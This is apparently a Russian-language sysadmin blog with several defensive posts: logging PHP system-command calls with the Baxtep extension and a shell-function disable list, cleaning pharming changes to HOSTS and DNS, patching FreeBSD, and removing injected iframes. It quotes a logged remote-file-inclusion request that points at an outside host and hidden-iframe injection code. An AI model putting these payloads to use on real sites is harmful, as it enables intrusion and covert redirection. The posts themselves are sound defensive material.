Function hijaking

Перехват функций – архиполезная штука. Если нет возможности изобрести пяттиколесный велосопед, поймать опасную функцию (системную команду) за хвост можно с помощью модуля Baxtep (спасибо Андрею).

Baxtep – PHP security extension to intercept execution of system commands.

Для сборки модуля понадобятся пара прямых рук и такие команды:

# скачиваем с репозитория
svn checkout http://baxtep.googlecode.com/svn/trunk/ baxtep

# переходим в каталог
cd baxtep

# собираем:
phpize
# если у вас PHP в нестандартном каталоге, укажите полный путь:
# /usr/local/php5-fcgi/bin/phpize
./configure
make

# закиньте модуль в папку с модулями:
cp .libs/baxtep.so /usr/local/php5-fcgi/lib/php/extensions/no-debug-non-zts-20060613/baxtep.so

# каталог с модулями можно определить командой
php -i | grep extension_
# или по полному пути:
# /usr/local/php53-fcgi/bin/php -i | grep extension_

# php.ini можно найти тоже через php -i, добавьте туда:
baxtep.logfile = "/tmp/baxtep_messages"
# или укажите другой путь, куда удобнее. я добавил строчку перед
# [Zend]

Все, перезапускайте Apache/PHP, в зависимости от того, что вам нужно перезапустить, чтобы модуль подгрузился. Вахтер послушно запишет в лог-файл все системные вызовы, например:

2012-02-25 19:35:39 BAXTEP: proc_open CMDLINE: `php` FILE: /path/to/file/1.php on line 11 URI: /1.php
2012-02-25 19:35:39 BAXTEP: shell_exec CMDLINE: `date` FILE: - on line 1 URI: (null)

Среди опасных, есть еще функция proc_open, чтобы ее перехватывать, нужно добавить в файл baxtep.c строчку:

php_baxtep_substitute_function("proc_open" TSRMLS_CC);

и пересобрать/переподгрузить модуль.

Список функций, которые я блокирую, если в них нет острой необходимости (php.ini):

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec

Теги: , , , , , ,

Защита от фарминг-атаки

Фарминг-атаки – это атаки, при которых браузер пользователя скрытно направляется на фишинговый (поддельный) сайт.

Файл hosts

По умолчанию, файл HOSTS лежит в каталоге %SYSTEMROOT%\system32\drivers\etc (другой вариант указания пути: %WINDIR%\system32\drivers\etc).

Вирус изменяет этот файл, прописывая (добавляя) там строку с IP-адресом и именем фишингового сайта (точнее, подделываемого):

1.1.1.1 vkontakte.ru

Теперь при заходе на сайт ВКонтакте, браузер пользователя будет загружать его с адреса злоумышленника – 1.1.1.1.

Для восстановления работоспособности, в файле HOSTS следует удалить все строчки, оставив только 127.0.0.1 localhost и те, которые лично вы туда добавляли (если добавляли). Не забудьте сменить пароли ко всем веб-сервисам, которыми вы пользуетесь и фишинговые сайты которых были указаны в измененном файле HOSTS.

/!\ Важно! После внесения изменений в файл HOSTS, следует перезапустить все открытые браузеры, а лучше всего, – перезагрузить компьютер.

Местоположение файла HOSTS

Модификацию файла HOSTS легко обнаружить. В поисках путей повышения скрытности своих действий, злоумышленники придумали изменять местоположение файла HOSTS. Путь к файлу HOSTS может быть изменен путем определения нового значения в ключе системного реестра DataBasePath ветки HKLM\System\ControlSet001\Services\tcpip\parameters (лучше посмотреть все ветки, начиная с CurrentControlSet и до ControlSet001/N). Так Trojan.BAT.Delude.e создает собственный файл HOSTS в каталоге %WINDIR%\Help и устанавливает путь к нему в системном реестре, а Trojan-Downloader.Win32.Esepor.z устанавливает путь %WINDIR%\NSDB к файлу HOSTS.

hosts

Если в данном ключе прописан путь, отличный от %SystemRoot%\System32\drivers\etc, то проверьте файл HOSTS по указанному там пути, чтобы узнать, к каким сайтам имеет смысл менять пароли. Затем поменяйте путь на стандартный, а зловредный файл HOSTS удалите.

Проверка настроек DNS-серверов

Еще один метод фарминга заключается в указании DNS-серверов злоумышленника. Например, вредоносная программаTrojan.Win32.DNSChanger.pwf заменяет указанные в операционной системе DNS-сервера на DNS-сервера злоумышленников путем изменений в системном реестре.

Для обнаружения такого типа фарминг-атаки выполните команду:

ipconfig /all

которая выведет вам все настройки сетевых интерфейсов. Проверьте указанные там "DNS Servers" и сравните их с выданными вам вашим провайдером.
Если обнаружите, что DNS-сервера подменены, то восстановить корректные значения можно в настройках свойств TCP/IP.

по материалам habrahabr


Теги: , , , , , , , , , , , , , ,

R.I.P. ICQ

Случилось то, чего все ждали боялись. Аську купили россияне.

Digital Sky Technologies купил ICQ за $187,5 млн.

Теперь ушлые коммерсанты требуют деньги у всех альтернативных клиентов, надеясь ан выплаты или на то, что народ перебежит с отказавшихся альтернативных клиентов на их "родной" и станет смотреть рекламу.

Авторы мобильного клиента Nimbuzz уже опубликовали отчет о причинах, почему не работает ICQ в их клиенте. Новые владельцы ICQ потребовали выплаты за каждого пользователя ICQ, авторы Nimbuzz отказались, т.к. распространяют свою программу абсолютно  бесплатно.

Альтернатив две – Jabber (GTalk) и Skype. Есть конечно и другие клиенты и сети, но они мало распространены.

GTalk – Jabber в интерпретации Google

Гуглопочта есть у очень многих людей и перейти на общение в GTalk совсем не сложно, можно пользоваться любым Jabber-клиентом или оригинальным клиентом Гугла, в том числе веб-клиентом.

Skype

Скайп на самом деле очень хороший клиент, но ИМХО не для большого количества контактов (в аське у меня под 1000 контактов).

QIP Infium

А QIP – дырявое сито, в котором по умолчанию пароли хранятся на сервере. Не ждите, пока клюнет жареный петух, переходите на другие клиенты, например, ту же Миранду. И не забудьте сменить пароли на аккаунтах.


Теги: , , , , , , , , , , , , , , , , ,

Опасная уязвимость FreeBSD

В операционной системе FreeBSD найдена опасная уязвимость. Эксплойт вышел в паблик раньше, чем патч, так что скорее включайте /dev/hands:

cd /usr/src/libexec/rtld-elf
fetch http://people.freebsd.org/~cperciva/rtld.patch
patch < rtld.patch
make & make install

Уязвимости подвержены все версии от 7.1 до 8.0.

Сам эксплойт под катом.

ЗЫ

Проверено, эксплойт работает.

ЗЗЫ

У меня не получилось пропатчить, скопировать кусок кода вручную. Дырка закрыта 🙂

Читать остальную часть заметки »


Теги: , , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT — tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 — — [05/Oct/2009:08:26:22 +0300] «GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1» 302 — «-» «Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)»

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,

Чистка файлов от iframe вставок

По мотивам предыдущей заметки =)

Итак, если ваш сайт взломан или подобран пароль к вашему фтп-аккаунту и в некоторых (или во всех) файлах присутствует вражеский код iframe – самое время заняться чисткой.

Обнаружение противника

Для начала вражеский код нужно обнаружить. Самый безопасный и правильный подход – найти подозрительные участки кода в зараженных файлах и детерминировать их как вредоносные.

find . -name "*.php*" -or -name "*.*htm*" -exec grep "iframe" {} \; -print | less

В результате вы увидите код ифреймов и пути к зараженным файлам:

<iframe src=»site.ru» width=»0″></iframe>
/root/temp/3/1.htm
<iframe src=»site.ru» width=»0″></iframe>
/root/temp/3/1.shtml
<iframe src=»site.ru» width=»0″></iframe>
/root/temp/3/1.html

Если не хотите видеть путь к файлам (в принципе, на данном этапе он и не нужен), уберите ключ -print.

Читать остальную часть заметки »


Теги: , , , , , , , , , , , , , ,

БигМир накручивает показы?

По всей видимости, в компанию СпутникМедиа пришел кризис – bigmir.net накручивает показы с помощью iframe. Эта тема сейчас активно обсуждается в листе рассылки Webman. Есть также версия, что это просто подстава, только кому она выгодна? А тем временем, на страницах сайтов можно найти коде ифрейма:

<iframe src=»hxxp://metanscript.com/s/in.cgi?4″ width=»0″ height=»0″ scrolling=»no» frameborder=»0″></iframe>

17:25 [220] ~ ~> wget —spider «hxxp://metanscript.com/s/in.cgi?4»
Spider mode enabled. Check if remote file exists.
—2009-08-19 17:25:45—  hxxp://metanscript.com/s/in.cgi?4
Resolving metanscript.com… 213.163.89.35
Connecting to metanscript.com|213.163.89.35|:80… connected.
HTTP request sent, awaiting response… 302 Found
Location: hxxp://www.bigmir.net/ [following]
Spider mode enabled. Check if remote file exists.
—2009-08-19 17:25:45—  hxxp://www.bigmir.net/
Resolving www.bigmir.net… 193.239.68.40
Connecting to www.bigmir.net|193.239.68.40|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified

[/text]


Remote file exists and could contain further links,
but recursion is disabled — not retrieving.


Читать остальную часть заметки »


Теги: , , , , , , , , , , , , , , , , , , , ,